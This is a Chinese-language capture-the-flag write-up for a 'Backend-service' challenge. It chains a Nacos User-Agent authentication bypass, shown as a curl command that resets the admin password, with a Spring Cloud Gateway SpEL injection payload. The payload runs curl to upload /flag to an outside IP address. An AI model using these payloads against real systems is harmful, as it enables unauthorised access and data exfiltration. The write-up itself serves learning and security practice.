Backend-service
nacos有很多历史漏洞,用UA绕过鉴权的那个改nacos用户的密码
代码语言:javascript复制curl -X PUT 'http://IP:PORT/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=nacos&newPassword=root'
看题目给的附件,东西很少,发现bootstrap.yml这个配置文件是调用nacos配置中心的
代码语言:javascript复制spring:
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8888
config:
name: backcfg
file-extension: json
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8888
会调用名字backcfg、扩展名json、group用DEFAULT_GROUP的一个配置
现在唯一能做的事就是在nacos配置中心里面新建一个这样的配置让后台服务调用,且必须是json格式的
顺便再看一眼源码,注意到startAPP是放在gateway文件夹下的,而且这个是唯一的项目程序,根据gateway、nacos关键词查查有没有这方面的漏洞能造成RCE。顺便一提,搜索姿势很重要,搜索引擎也很重要,如果百度谷歌都找不到想要的答案的话可以试试去Freebuf和先知社区这些地方找找(或者从百度、谷歌这些搜索引擎加site限定来搜安全社区的内容)
找到一篇文章 https://xz.aliyun.com/t/11493#toc-5
payload:
代码语言:javascript复制 {
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "whocansee",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://47.113.202.32:23233','-T','/flag'}).getInputStream())).replaceAll('n','').replaceAll('r','')}"
}
}
]
}
]
}
}
}
}